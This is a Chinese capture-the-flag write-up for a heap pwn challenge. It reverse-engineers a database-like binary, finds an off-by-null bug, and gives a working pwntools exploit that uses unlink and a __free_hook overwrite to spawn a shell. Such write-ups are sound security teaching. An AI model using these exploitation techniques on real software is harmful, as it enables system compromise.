前言
上海市大学生网络安全大赛的一道 pwn 题目,题目用了双向链表(猜到是 Unlink 漏洞)。
还算比较简单,主要是分析代码比较复杂。分析完后漏洞限制条件少,题目给了 libc2.31,利用比较灵活。
这题白天解比较少,临近比赛结束的时候很多队就做出来了,估计师傅们都花时间在逆向分析上了。
题目应该还是主要考察逆向分析和 Unlink 的理解,不能直接套模板。这里详细写一下分析步骤。
题目使用 off-by-null 漏洞和 unlink 漏洞,我这里通过 unlink 攻击 tcache_struct 获得 unsorted bin 的 chunk 来泄露 libc 地址。当然,还有很多其它泄露 libc 的方法。最后我直接打了__free_hook -> system,除了这种做法以外,也可以通过打 IO_FILE、rtld_global 或 tcache 等其它方法来 get shell。
文章结构分为题目分析、漏洞利用、Exp 三部分。
题目分析
main 函数分析
拖入 IDA 分析,F5 反编译,发现 main 函数调用了 Init 函数。
在 Init 函数中进行初始化操作,创建了 0x30 大小的 chunk,并让一个全局变量指针指向这个 chunk。
然后看一下 while 循环,首先调用一个函数输出了 mysql >提示信息。
然后通过 read 读入 0x100 个字符到变量 s 中,将 s 作为参数传入函数。
主函数初始化分析
然后跟进这个主函数分析:
这个函数首先调用 sub_1E84 这个函数,跟进查看:
不难理解,循环 256 次,将(&s1)[i]初始化为 0,双击 s1,发现实际上是初始化 s1 指针、qword_5068 指针、qword_5070 指针和 qwrod_5078 指针为 0。
然后调用 sub_13A4 这个函数,将 main 中输入的 s 作为参数传入:
调用 strtok 函数,这个函数是将字符串按照指定字符进行分割。这里空格分割,每调用一次,取下一个字符。
这里就是将 s 按照空格分割,然后将结果分别赋值给前面的 s1 指针、qword_5068 指针、qword_5070 指针和 qwrod_5078 指针。我们将后面三个分别重命名为 arg1 arg2 arg3。
菜单分析
在主函数处理完字符串后,开始到了菜单部分。开始分析题目的菜单处理部分。
malloc
首先,判断 s1 是否为 CREATE,这里应该是 malloc 功能。
根据代码分析,sub_18F9 应该是 createTable 函数。sub_19B7 函数也是 create 函数,但是有三个参数。
if ( ! strcmp ( s1, "CREATE" ) )
{
if ( ! strcmp ( arg1, "TABLE" ) )
{
if ( arg2 )
{
sub_18F9 ( arg2) ;
result = 1LL ;
}
else
{
puts ( "CREATE TABLE " ) ;
result = 0LL ;
}
}
else if ( arg3 && arg1 )
{
sub_19B7 ( arg3, arg1) ;
result = 2LL ;
}
else
{
puts ( "CREATE COLUMN FROM TABLE" ) ;
result = 0LL ;
}
}
createTable
我们进入 createTable 函数继续分析,函数先 malloc 了一个 0x30 大小的 chunk,然后让指针 s 指向它。
猜测这个应该是存储 table 的结构体,然后调用 sub_1415 函数判断 tableName 是否已经存在。
如果不存在 tableName 调用 strlen 判断字符串长度,长度若<=0x10 则调用 memcpy 函数将 name 赋值给 chunk。
然后调用 sub_1479 函数传入 chunk 指针进行进一步的处理。
__int64 __fastcall addTable ( const char * tableName)
{
__int64 result;
size_t v2;
void * s;
s = malloc ( 0x28uLL ) ;
if ( ! s )
exit ( 0 ) ;
memset ( s, 0 , 0x28uLL ) ;
if ( sub_1415 ( tableName) )
{
puts ( "Table exits" ) ;
result = 0LL ;
}
else if ( strlen ( tableName) <= 0x10 )
{
v2 = strlen ( tableName) ;
memcpy ( s, tableName, v2) ;
result = sub_1479 ( s) ;
}
else
{
puts ( "NAME LENGTH ERROR" ) ;
result = 0LL ;
}
return result;
}
我们现在需要分析 sub_1415 和 sub_1479 函数,先将它们重命名为 isExistTableName 和 processAddTable。
先来分析 isExistTableName 函数:
char * __fastcall isExistTableName( const char * tableName)
{
char * s1; // [ rsp+ 18h] [ rbp- 8h]
s1 = * ( char ** ) ( qword_5868 + 16 ) ;
if ( !s1 )
return 0LL;
while ( s1 )
{
if ( !strcmp( s1, tableName) )
return s1;
s1 = ( char * ) * ( ( _QWORD * ) s1 + 2 ) ;
}
return 0LL;
}
函数逻辑很简单,s1 指向 qword_5868+0x10 的位置。
显而易见,这是一个链表结构,如果 tableName 比对不成功执行 s1 = (char ) ((_QWORD *)s1 + 2);语句将 s1 指针指向 s1 + 0x10 的位置。如果存在则返回指向 table 的指针,否则返回 0。
程序最初初始化时,将 qword_5868 指针指向 0x30 大小的 chunk 的 user_data 部分,因此这个指针指向链表的头结点,qword_5868 是头指针,我们将其重命名为 head。
通过 s1 = *(char **)(qword_5868 + 16);可以知道结点的 0x10 位置是 fd 指针,指向下一个 chunk。
然后分析 processAddTable 函数:
__int64 __fastcall processAddTable ( __int64 node)
{
__int64 result;
__int64 v2;
v2 = * ( _QWORD * ) ( head + 16 ) ;
if ( v2 )
{
while ( * ( _QWORD * ) ( v2 + 16 ) )
v2 = * ( _QWORD * ) ( v2 + 16 ) ;
* ( _QWORD * ) ( v2 + 16 ) = node;
* ( _QWORD * ) ( node + 24 ) = v2;
* ( _QWORD * ) ( node + 16 ) = 0LL ;
result = 0LL ;
}
else
{
* ( _QWORD * ) ( head + 16 ) = node;
* ( _QWORD * ) ( node + 24 ) = head;
* ( _QWORD * ) ( node + 16 ) = 0LL ;
result = 1LL ;
}
return result;
}
先初始化 v2 指针指向第一个结点,判断第一个结点是否为 NULL。
如果当前链表不为空,则通过 while 语句将 v2 指针指向最后一个结点。然后将 v2 结点的 fd 指针指向新增的 node。接着让新增的 node 的 0x18 位置指向 v2 结点,然后设置 node 结点的 fd 指针为 NULL。
到这里,就可以完整分析出 node 的结构体:
struct tableNode {
char name[ 16 ] ;
tableNode* fd;
tableNode* bk;
}
将结构体插入到 IDA 中,在变量位置按快捷键 y 可以修改变量类型。(这里应该 name 大小是 16,图就不改了)
修改后再看反编译的代码,一目了然:
createColumn
然后分析 create 的另一个函数,通过提示信息可以发现这个函数应该是 CREATE COLUMN。
__int64 __fastcall createColumn ( __int64 tableName, const char * columnName)
{
__int64 result;
size_t v3;
char * v4;
_QWORD * s;
v4 = isExistTableName ( ( const char * ) tableName) ;
if ( v4 )
{
s = malloc ( 0x28uLL ) ;
if ( ! s )
exit ( 0 ) ;
memset ( s, 0 , 0x28uLL ) ;
if ( sub_16A6 ( v4, columnName) )
{
puts ( "column exits" ) ;
result = 0LL ;
}
else if ( strlen ( columnName) <= 0x10 )
{
v3 = strlen ( columnName) ;
memcpy ( s, columnName, v3) ;
s[ 4 ] = malloc ( 0x100uLL ) ;
if ( ! s[ 4 ] )
exit ( 0 ) ;
sub_170B ( ( __int64) v4, ( __int64) s) ;
result = 0LL ;
}
else
{
puts ( "COLUMN LENGTH ERROR" ) ;
result = 0LL ;
}
}
else
{
puts ( "Table Not EXITS" ) ;
result = 0LL ;
}
return result;
}
传入的两个参数分别是 tableName 和 columnName,首先调用函数判断 tableName 是否存在。
然后创建一个 0x30 大小的 chunk,指针 s 指向它,猜测这个应该是用来存储 column 的结构体。
函数又调用了 sub_16A6 函数,根据提示信息这应该是判断 column 是否已存在的函数。
如果 column 不存在,调用 strlen 判断 columnName 长度<=0x10,然后调用 memcpy 将 name 赋值给结构体。
接着,malloc 一个 0x110 大小的 chunk,将指针赋值给 s[4],即结构体 0x20 的位置。
最后,调用 sub_170B 函数,传入 table 指针和新申请的 column 结构体指针。
现在,我们分析 sub_16A6 和 sub_170B 函数,分别重命名为:isExistColumnName()和 processAddColumn()。
先来看一下 isExistColumnName 函数:
char * __fastcall isExistColumnName ( tableNode * table, const char * columnName)
{
char * s1;
s1 = * ( char * * ) table[ 1 ] . name;
if ( ! s1 )
return 0LL ;
while ( s1 )
{
if ( ! strcmp ( s1, columnName) )
return s1;
s1 = ( char * ) * ( ( _QWORD * ) s1 + 2 ) ;
}
return 0LL ;
}
可以发现,table[1].name 这里存在点问题,实际上是 table 结构体+0x20 位置。
根据代码分析,table 结构体+0x20 应该是 column 结构体的指针,column 结构体也是以双向链表的形式存储。
如果存在同名 column,则返回指向 column 的指针,否则返回 0。
我们定义 columnNode 的结构体,然后修改 tableNode 的结构体:
struct columnNode
{
char name[ 16 ] ;
columnNode * fd;
columnNode * bk;
columnNode * nextColumn;
} ;
struct tableNode
{
char name[ 16 ] ;
tableNode * fd;
tableNode * bk;
columnNode * columnContent;
} ;
修改完结构体和变量类型后,代码一目了然:
__int64 __fastcall processAddColumn ( tableNode * table, columnNode * column)
{
__int64 result;
columnNode * v3;
v3 = table-> ptr_column;
if ( v3 )
{
while ( v3-> fd )
v3 = v3-> fd;
v3-> fd = column;
column-> bk = v3;
result = 1LL ;
}
else
{
table-> ptr_column = column;
column-> fd = 0LL ;
column-> bk = ( columnNode * ) table;
result = 1LL ;
}
return result;
}
free
add 函数分析完成了,看上去并没有什么漏洞,大体逻辑是将 table 和 column 存储在双向链表中。
主要是三部分:table 结构体、column 结构体、columnContent。
弄懂 add 相关的结构体,后面代码就好分析了。下面分析 free 相关函数:
else if ( ! strcmp ( s1, "DELETE" ) )
{
if ( ! strcmp ( arg1, "TABLE" ) )
{
if ( arg2 )
{
sub_1BAC ( arg2) ;
result = 3LL ;
}
else
{
puts ( "DELETE TABLE ) ;
result = 0LL ;
}
}
else
{
strcmp ( arg2, "FROM" ) ;
if ( arg3 && arg1 )
{
sub_1AF8 ( arg3, arg1) ;
result = 4LL ;
}
else
{
puts ( "DELETE COLUMN FROM TABLE" ) ;
result = 0LL ;
}
}
}
有了前面基础很容易知道,这里两个函数,一个删除 Table,另一个删除 Column。
deleteTable
首先看一下 deleteTale 函数:
__int64 __fastcall deleteTable ( const char * tableName)
{
__int64 result;
char * v2;
v2 = isExistTableName ( tableName) ;
if ( v2 )
{
sub_1515 ( v2) ;
result = 0LL ;
}
else
{
puts ( "table not exits" ) ;
result = 0xFFFFFFFFLL ;
}
return result;
}
函数首先判断 table 是否存在,如果存在调用 sub_1515 函数删除 Table。
跟进这个函数分析一下:
__int64 __fastcall processDeleteTable ( tableNode * tableNode)
{
char * v1;
columnNode * ptr;
tableNode * v4;
tableNode * v5;
v1 = isExistTableName ( tableNode-> name) ;
ptr = tableNode-> ptr_column;
if ( ! v1 )
return 0LL ;
v4 = tableNode-> fd;
v5 = tableNode-> bk;
if ( v5 == ( tableNode * ) head )
{
* ( _QWORD * ) ( head + 16 ) = v4;
if ( v4 )
v4-> bk = ( tableNode * ) head;
while ( ptr )
{
free ( ptr-> columnContent) ;
free ( ptr) ;
ptr = ptr-> fd;
}
goto LABEL_8;
}
if ( ! v4 )
{
v5-> fd = 0LL ;
while ( ptr )
{
free ( ptr-> columnContent) ;
free ( ptr) ;
ptr = ptr-> fd;
}
LABEL_8:
free ( tableNode) ;
return 1LL ;
}
v5-> fd = v4;
v4-> bk = v5;
while ( ptr )
{
free ( ptr-> columnContent) ;
free ( ptr) ;
ptr = ptr-> fd;
}
free ( tableNode) ;
return 0LL ;
}
首先,v1 指针和 ptr 指针分别指向 table 和 column。然后给 v4、v5 赋值 table 的 bk 和 fd 指针指。
接着,判断 bk 指针是否指向 head 结点,即判断要删除的 table 是否是第一个结点。
如果是第一个结点,则:
执行代码清空头结点的 fd 指针。
如果存在下一个结点,修改下一个结点的 bk 指针指向头结点。
如果存在 column,则 free columnContent,然后 free column。
最后,free 掉 tableNode。
可以发现,由于使用函数根据 Name 检查是否存在 table 和 column,这里不存在 Double Free 漏洞。
如果不是第一个结点,在最后一个结点,则:
清空前一个结点的 fd 指针。
如果存在 column,则 free columnContent,然后 free column。
最后,free 掉 tableNode。
如果既不是第一个结点,也不是最后一个结点,则:
node -> bk -> fd = bk
node -> fd -> bk = fd
如果存在 column,则 free columnContent,然后 free column。
最后,free 掉 tableNode。
deleteColumn
下面分析 deleteColumn 函数:
__int64 __fastcall deleteColumn ( const char * tableName, const char * columnName)
{
__int64 result;
tableNode * v3;
columnNode * v4;
if ( isExistTableName ( tableName) )
{
v3 = ( tableNode * ) isExistTableName ( tableName) ;
if ( isExistColumnName ( v3, columnName) )
{
v4 = isExistColumnName ( v3, columnName) ;
sub_1795 ( v3, v4) ;
}
else
{
puts ( "Column not exits" ) ;
}
result = 0LL ;
}
else
{
puts ( "Table not exits" ) ;
result = 0LL ;
}
return result;
}
函数调用 isExistTableName 判断 table 是否存在,如果存在则使 v3 指针指向 table。
然后调用 isExistColumnName 判断 column 是否存在,如果存在则使 v4 指向 column。
然后调用 sub_1795 函数,传入 table 执行和 column 指针进行删除操作。
然后,我们看一下这个删除函数:
__int64 __fastcall processDeleteColumn ( tableNode * tableNode, columnNode * columnNode)
{
__int64 result;
columnNode * v3;
columnNode * v4;
if ( ! isExistColumnName ( tableNode, columnNode-> name) )
return 0LL ;
v4 = columnNode-> bk;
v3 = columnNode-> fd;
if ( v4 == ( columnNode * ) tableNode )
{
tableNode-> ptr_column = columnNode-> fd;
if ( v3 )
v3-> bk = ( columnNode * ) tableNode;
free ( columnNode-> columnContent) ;
columnNode-> columnContent = 0LL ;
free ( columnNode) ;
result = 1LL ;
}
else if ( v3 )
{
v4-> fd = v3;
v3-> bk = v4;
free ( columnNode-> columnContent) ;
columnNode-> columnContent = 0LL ;
free ( columnNode) ;
result = 0LL ;
}
else
{
v4-> fd = 0LL ;
free ( columnNode-> columnContent) ;
columnNode-> columnContent = 0LL ;
free ( columnNode) ;
result = 1LL ;
}
return result;
}
首先使 v4 指向 column 的前一个结点,使 v3 指向 column 的后一个结点。
如果 column 是 table 的第一个结点:
table 结点的 column 指针指向下一个结点。
如果存在下一个结点,则下一个结点的 bk 指针指向 table。
free 掉 columnContent,清空 column 中的 Content 指针,然后 free 掉 columnNode。
如果 column 不是第一个结点,也不是最后一个结点:
column -> bk -> fd = bk
column -> fd -> bk = fd
free 掉 columnContent,清空 column 中的 Content 指针,然后 free 掉 columnNode。
如果 column 是最后一个结点:
将前一个结点的 fd 指针置 NULL。
free 掉 columnContent,清空 column 中的 Content 指针,然后 free 掉 columnNode。
show
free 函数也分析完毕了,没有什么明显的漏洞,虽然双链表可能导致 Unlink,但是需要配合其它漏洞修改 chunk 的 fd、bk 指针。
接下来,分析 show 功能:
else if ( ! strcmp ( s1, "SHOW" ) )
{
if ( ! strcmp ( arg1, "TABLE" ) )
{
if ( arg2 )
{
sub_1BF9 ( arg2) ;
result = 5LL ;
}
else
{
puts ( "SHOW TABLE ") ;
result = 0LL ;
}
}
else
{
result = 0LL ;
}
}
showTable
show 的功能很简单,代码一目了然,打印当前 table 的所有 column 内容。
__int64 __fastcall showTable ( const char * tableName)
{
__int64 result;
__int64 v2;
char * v3;
v3 = isExistTableName ( tableName) ;
if ( v3 )
{
v2 = * ( ( _QWORD * ) v3 + 4 ) ;
if ( v2 )
{
while ( v2 )
{
printf ( "Column Name: %s\n Column Content: %s\n" , ( const char * ) v2, * ( const char * * ) ( v2 + 32 ) ) ;
v2 = * ( _QWORD * ) ( v2 + 16 ) ;
}
result = 0LL ;
}
else
{
puts ( "NO column" ) ;
result = 0xFFFFFFFFLL ;
}
}
else
{
puts ( "Table not exits" ) ;
result = 0xFFFFFFFFLL ;
}
return result;
}
edit
前面都没有很明显的漏洞,看来只能把希望寄托于 Edit 功能了。
edit 功能只允许我们去 edit column:
else if ( ! strcmp ( s1, "EDIT" ) )
{
if ( ! strcmp ( arg2, "FROM" ) )
{
if ( arg3 && arg1 )
{
editTable ( ( const char * ) arg3, arg1) ;
result = 6LL ;
}
else
{
puts ( "EDIT COLUMN FROM TABLE" ) ;
result = 0LL ;
}
}
else
{
result = 0LL ;
}
}
editTable
editTable 函数首先初始化 v3 和 dest 指针分别指向 table 和 column。
然后调用 read 输入 name 到 buf,接着调用了 strlen 判断 name 长度是否<=0x10。
然后调用 strcpy 函数将 name 赋值给 column 结构体,这里显然存在问题。
之前的输入都是通过 memcpy 设置了输入长度,这里却使用了 strcpy。这是一个常见的漏洞,strlen 和 strcpy 行为不一致很容易导致漏洞,strlen()函数返回的长度不包括字符串末尾的\x00,而 strcpy 会将字符串和末尾的\x00 一起复制到其它变量中,这会导致\x00 单字节溢出漏洞,也就是 off-by-null 漏洞。
最后调用 read 函数输入内容到 columnContent 中。
int __fastcall editTable ( const char * tableName, const char * columnName)
{
int result;
tableNode * v3;
columnNode * dest;
__int64 buf[ 6 ] ;
buf[ 5 ] = __readfsqword ( 0x28u ) ;
v3 = ( tableNode * ) isExistTableName ( tableName) ;
buf[ 0 ] = 0LL ;
buf[ 1 ] = 0LL ;
buf[ 2 ] = 0LL ;
buf[ 3 ] = 0LL ;
if ( v3 )
{
dest = isExistColumnName ( v3, columnName) ;
if ( dest )
{
puts ( "Column name:" ) ;
read ( 0 , buf, 0x20uLL ) ;
if ( strlen ( ( const char * ) buf) <= 0x10 )
{
strcpy ( dest-> name, ( const char * ) buf) ;
puts ( "Column Content: " ) ;
read ( 0 , dest-> columnContent, 0x100uLL ) ;
result = puts ( "Done" ) ;
}
else
{
puts ( "Invalid colunm name" ) ;
result = 0 ;
}
}
else
{
result = 0 ;
}
}
else
{
puts ( "Table not exits" ) ;
result = 0 ;
}
return result;
}
题目分析总结
题目分析完成了,程序模拟了数据库操作。我们可以对 table 和 column 进行增删查,对 column 进行修改。
程序采用双链表的形式保存 table 和 column 结点,每个 table 存在一个指针指向 column 链表的第一个结点。
每个 column 存在一个指针指向 columnContent,这是一个 0x110 大小的 chunk,可以用来存储 column 的内容。
对于 edit 操作存在\x00 溢出,即 off-by-null。可以结合前面的双向链表删除操作利用,即 unlink。
漏洞利用
漏洞分析
覆盖 fd 指针
根据前面的分析,在 edit column 的 name 时候可以溢出一个字节的\x00。
前面分析知和 column 结构体中 name 相邻的是 fd 指针,指向下一个 column:
struct columnNode
{
char name[ 16 ] ;
columnNode * fd;
columnNode * bk;
columnNode * nextColumn;
} ;
如果这个指针是 xxxxxxx80,通过 off-by-null 可以将其修改为 xxxxxxx00。
伪造 columnNode
在 xxxxxxx00 的位置我们可以伪造出一个 column 结点的结构体,此时 fd、bk 指针可控。
在进行删除 column 时程序没有严格对指针进行校验,即没有 unlink 时的检查。
unlink
如果我们调用 free 函数删除 column,它会在程序认为的 column->bk->fd 赋值 bk,在 column->fd->bk 赋值 fd。
然后我们配合 off-by-null,伪造 fake_chunk 的 fd、bk 指针,接着调用 free 函数 free(fake_chunk)。
这就实现了任意写,但是还存在一个问题,fd、bk 必须指向可写内存,否则在没有写入权限的段写数据会报错。
泄露 heap
为了后续利用,显然我们必须知道 heap 的基地址,如何想办法泄露 heap 地址呢?
其实很容易,因为 name 字段可以读入 0x10 大小,如果末尾没有\x00 截断,put 时会将相邻的 fd 指针打印出来。
只要我们布局好 chunk,打印出来的 fd 指针相对于 heap 基地址的偏移量是固定的,可以计算出 heap 偏移量。
def send ( text) :
sla( b'mysql > ' , text)
send( b'CREATE TABLE TEST' )
send( b'CREATE USELESS1USELESS1 FROM TEST' )
send( b'CREATE COLUMN FROM TEST' )
send( b'CREATE USELESS2 FROM TEST' )
send( b'CREATE USELESS3 FROM TEST' )
send( b'CREATE USELESS4 FROM TEST' )
send( b'SHOW TABLE TEST' )
ru( 'USELESS1USELESS1' )
heap = uu64( rc( 6 ) )
info( 'heap' , heap)
通过 edit 功能将 column 的 name 填满,然后调用 show 函数。
vis 命令可以看到,name 已填满,show 时候会一直打印泄露出 fd 指针:
vmmap [addr]可以很方便看到偏移量。
泄露 libc
泄露 libc 应该有很多方法,题目给的是 libc2.31,可以考虑将 chunk 放到 unsorted bin 中。
需要先填满对应大小的 tcache,但是通过题目漏洞去填充 tcache 太麻烦,我这里直接攻击 tcache 结构体。
我们想将 content chunk 作为泄露的目标 chunk,因此需要攻击 tcache.count[0xa0]。
我们在 edit column_name 时,多输入一个\x00 覆盖 fd 指针,如下图所示:
这个 column 的 fd 指针本来应该指向 0x5583dcb86c0。由于\x00 的覆盖,它现在指向 0x5583dcb8600。
于是,我们可以在 0x5583dcb8600 位置伪造一个 fake_chunk:
send( b'EDIT USELESS2 FROM TEST' )
sa( b'name:\n' , b'CCCCCCCCDDDDDDDD\x00' )
bk2 = heap + 0x1a - 0x10
fd2 = heap + 0x1a - 0x8
fake_str2 = heap + 0x330
sa( b'Content: \n' , b'K' * 0x40 + p64( 0xa0 ) + p64( 0xa1 ) + b'name2name2name2\x00' + p64( fd2) + p64( bk2) + p64( fake_str2) + b'K' * 0x70 + p64( 0xa1 ) )
sl( b'DELETE name2name2name2 FROM TEST' )
send( b'SHOW TABLE TEST' )
ru( b'Content: ' )
libc_base = uu64( ru( b'\x7f' ) [ - 6 : ] ) - 0x60 - 0x10 - libc. sym[ '__malloc_hook' ]
info( 'libc_base' , libc_base)
这里的 Content 实际填到了 0x5583dcb85b0 位置,我们先填充 0x40 个垃圾字符。
然后到达 0x5583dcb85f0 位置,伪造 prev_size 和 size 大小。然后在 0x5583dcb8500 位置填 fake_column_name。
接着在后面填 fake_fd 和 fake_bk,然后填入 fake_content(随便找个能被 free 不报错的位置)。接着填充满当前 chunk,并且填充下一个 chunk 的 prev_size。这时成功伪造了一个 0xa0 大小的 chunk。
通过伪造 fd、bk 指针,free 时,在 tcache.count[0xa0]位置填充一个大于 7 的数字填满 tcache。
此时,chunk 被加入 unsorted bin,用 show 函数泄露 unsorted bin 中 chunk 的 fd 指针(main_arena + 0x60)。
然后根据偏移量计算出 libc 的基地址即可。
unlink
我们的 target 是 fake_column 的 nextColumn 指针处。如果我们能够修改 nextColumn 指向它所在地址,那么可以通过 edit 功能修改 nextColumn 指针,然后实现任意地址写入。
假设 target = &column->nextColumn,fd、bk 指针可以这样构造:
bk = target
fd = target - 0x18
bk = heap + 0x820
fd = heap + 0x820 - 0x18
fake_str = heap + 0x6f0
send( b'EDIT COLUMN FROM TEST' )
sa( b'name:\n' , b'AAAAAAAABBBBBBBB\x00' )
sa( b'Content: \n' , b'P' * 0x80 + p64( 0 ) + p64( 0x81 ) + b'namenamename\x00\x00\x00\x00' + p64( fd) + p64( bk) + p64( fake_str) )
sl( b'DELETE namenamename FROM TEST' )
send( b'EDIT USELESS4 FROM TEST' )
sa( b'name:\n' , b'USELESS4' )
payload = p64( libc_base + libc. sym[ '__free_hook' ] - 0x8 ) + p64( 0x111 )
sa( b'Content: ' , payload)
send( b'EDIT USELESS4 FROM TEST' )
sa( b'name:\n' , b'USELESS4' )
payload = b'/bin/sh\x00' + p64( libc_base + libc. sym[ 'system' ] )
sa( b'Content: ' , payload)
sl( b'DELETE USELESS4 FROM TEST' )
如上面例子所示,unlink 在泄露 libc 时已经用过,不再赘述。
我们通过 unlink 使得 content_ptr 指向&content_ptr,第一次 edit 修改 content_ptr -> __free_hook - 0x8。
第二次 edit 即可修改__free_hook - 0x8 的内容,在其中填入 binsh 和 system 函数地址。
最后调用 delete 函数删除当前 column 即可调用 system(“/bin/sh”)。
Exp
from pwn import *
context( arch = 'amd64' , os = 'linux' , log_level = 'debug' )
p = process( './pwn' )
elf = ELF( './pwn' )
libc = ELF( '/lib/x86_64-linux-gnu/libc.so.6' )
def dbg ( ) :
gdb. attach( p)
pause( )
se = lambda data : p. send( data)
sa = lambda delim, data : p. sendafter( delim, data)
sl = lambda data : p. sendline( data)
sla = lambda delim, data : p. sendlineafter( delim, data)
rc = lambda num : p. recv( num)
rl = lambda : p. recvline( )
ru = lambda delims : p. recvuntil( delims)
uu32 = lambda data : u32( data. ljust( 4 , b'\x00' ) )
uu64 = lambda data : u64( data. ljust( 8 , b'\x00' ) )
info = lambda tag, addr : log. info( tag + " -> " + hex ( addr) )
ia = lambda : p. interactive( )
def send ( text) :
sla( b'mysql > ' , text)
send( b'CREATE TABLE TEST' )
send( b'CREATE USELESS1USELESS1 FROM TEST' )
send( b'CREATE COLUMN FROM TEST' )
send( b'CREATE USELESS2 FROM TEST' )
send( b'CREATE USELESS3 FROM TEST' )
send( b'CREATE USELESS4 FROM TEST' )
send( b'SHOW TABLE TEST' )
ru( 'USELESS1USELESS1' )
heap = uu64( rc( 6 ) ) - 0x440
bk2 = heap + 0x1a - 0x10
fd2 = heap + 0x1a - 0x8
fake_str2 = heap + 0x330
send( b'EDIT USELESS2 FROM TEST' )
sa( b'name:\n' , b'CCCCCCCCDDDDDDDD\x00' )
sa( b'Content: \n' , b'K' * 0x40 + p64( 0xa0 ) + p64( 0xa1 ) + b'name2name2name2\x00' + p64( fd2) + p64( bk2) + p64( fake_str2) + b'K' * 0x70 + p64( 0xa1 ) )
sl( b'DELETE name2name2name2 FROM TEST' )
send( b'SHOW TABLE TEST' )
ru( b'Content: ' )
libc_base = uu64( ru( b'\x7f' ) [ - 6 : ] ) - 0x1ecbe0
info( 'libc_base' , libc_base)
bk = heap + 0x820
fd = heap + 0x820 - 0x18
fake_str = heap + 0x6f0
send( b'EDIT COLUMN FROM TEST' )
sa( b'name:\n' , b'AAAAAAAABBBBBBBB\x00' )
sa( b'Content: \n' , b'P' * 0x80 + p64( 0 ) + p64( 0x81 ) + b'namenamename\x00\x00\x00\x00' + p64( fd) + p64( bk) + p64( fake_str) )
sl( b'DELETE namenamename FROM TEST' )
send( b'EDIT USELESS4 FROM TEST' )
sa( b'name:\n' , b'USELESS4' )
payload = p64( libc_base + libc. sym[ '__free_hook' ] - 0x8 ) + p64( 0x111 )
sa( b'Content: ' , payload)
send( b'EDIT USELESS4 FROM TEST' )
sa( b'name:\n' , b'USELESS4' )
payload = b'/bin/sh\x00' + p64( libc_base + libc. sym[ 'system' ] )
sa( b'Content: ' , payload)
send( b'DELETE USELESS4 FROM TEST' )
ia( )
你可能感兴趣的:(程序人生)
程序人生职业生涯学习成长,学历提升是秘诀?
AI天才研究院
AI大模型企业级应用开发实战 Agentic AI 实战 AI人工智能与大数据 程序人生 学习 职场和发展 ai
程序人生职业生涯学习成长,学历提升是秘诀?关键词:程序员职业发展、学历提升、持续学习、技术能力、职业规划、终身学习、技能提升摘要:本文深入探讨程序员职业生涯中的学习成长路径,分析学历提升在职业发展中的实际作用。通过对比不同发展阶段的技术能力需求与学历要求,揭示程序员职业成长的核心要素。文章将提供系统化的学习框架、实用的技能提升策略,以及平衡学历教育与实战经验的方法论,帮助程序员在快速变化的技术行业
【Java实现AI抽奖解签系统:24签个性化运势解读】
王大师王文峰
java 开发语言
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)【Java实现AI抽奖解签系统:24签个性化运势解读】学习教程(传送门)Java实现AI抽奖解签系统:24签个性化运势解读系统设
Java时间日期处理全攻略:多种写法、计算与获取方法
王大师王文峰
java 开发语言
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)Java时间日期处理全攻略:多种写法、计算与获取方法学习教程(传送门)Java时间日期处理全攻略:多种写法、计算与获取方法**一
C#初学者指南:从零开始掌握基础语法
王大师王文峰
c# 开发语言
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)C#初学者指南:从零开始掌握基础语法学习教程(传送门)C#初学者指南:从零开始掌握基础语法环境搭建:准备你的第一个C#项目C#基
直击2025 C#架构师面试:分布式库存/大模型集成/热更新配置等企业级场景深度解析(含答案+性能优化技巧)
王大师王文峰
c# 面试 分布式
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)直击2025C#架构师面试:分布式库存/大模型集成/热更新配置等企业级场景深度解析(含答案+性能优化技巧)学习教程(传送门)20
服务+货物混合合同订单的技术实现与结算逻辑(Java版)
王大师王文峰
java 开发语言
本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)服务+货物混合合同订单的技术实现与结算逻辑(Java版)学习教程(传送门)服务+货物混合合同订单的技术实现与结算逻辑(Java版
程序人生如何在技术会议中收获学习与成长
AI天才研究院
计算 AI大模型企业级应用开发实战 AI人工智能与大数据 程序人生 学习 职场和发展 ai
程序人生:如何在技术会议中收获学习与成长关键词:技术会议、开发者成长、参会策略、知识获取、人脉拓展、职业发展、技术洞察摘要:技术会议是程序员提升技术视野、获取前沿知识、拓展职业网络的重要平台。本文从参会前的战略规划、参会中的高效吸收、会后的持续转化三个维度,系统解析如何通过科学的参会策略实现能力跃升。结合具体案例、工具方法和实战经验,阐述技术会议在职业发展中的杠杆作用,帮助开发者将会议价值最大化,
程序人生:腾讯面试背后的职业生涯学习与成长秘籍
AI天才研究院
程序人生 面试 学习 ai
程序人生:腾讯面试背后的职业生涯学习与成长秘籍关键词:腾讯面试、技术深度、工程能力、系统思维、职业成长、软技能、刻意练习摘要:本文以腾讯面试为切入点,拆解顶级互联网公司对技术人才的核心考察逻辑,结合真实面试案例与程序员职业生涯发展阶段,总结“技术深度-工程能力-系统思维-软技能”四维成长模型。通过生活化的比喻、具体的面试场景还原与可落地的成长方法论,帮助开发者从“应对面试”升级为“终身成长”,找到
程序人生职业生涯,学习成长为薪酬谈判添砖加瓦
ChatGPT AI大模型应用入门实战与进阶 程序人生 学习 微信小程序 ai
